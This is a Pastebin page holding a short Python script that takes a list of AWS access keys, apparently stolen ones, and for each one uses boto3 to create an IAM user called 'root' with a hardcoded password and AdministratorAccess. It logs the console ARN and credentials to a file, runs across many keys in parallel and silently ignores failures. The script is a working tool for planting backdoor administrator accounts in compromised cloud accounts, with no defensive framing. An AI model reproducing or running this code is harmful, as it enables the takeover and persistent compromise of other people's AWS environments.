Advertisement
JamesBops

Untitled

Nov 20th, 2023
149
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.97 KB | None | 0 0
  1. import boto3
  2. import multiprocessing as mp
  3.  
  4. username = 'root'
  5. password = 'Peler12@'
  6.  
  7.  
  8. def create_user(aws_key):
  9. try:
  10. access_key, secret_key, region = aws_key.split('|')
  11. client = boto3.client('iam', aws_access_key_id=access_key, aws_secret_access_key=secret_key, region_name='us-east-1')
  12. response = client.create_user(UserName=username)
  13. arn = response['User']['Arn']
  14. client.create_login_profile(UserName=username, Password=password)
  15. client.attach_user_policy(UserName=username, PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess')
  16. with open('console.txt', 'a') as f:
  17. f.write(f'IAM Console: {arn}\nUsername: {username}\nPassword: {password}\n\n')
  18. except Exception as e:
  19. pass
  20.  
  21. def main():
  22. keys = open(input('Keys ? '), 'r').read().splitlines()
  23. pool = mp.Pool(mp.cpu_count())
  24. pool.map(create_user, keys)
  25. pool.close()
  26. pool.join()
  27.  
  28. if __name__ == '__main__':
  29. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement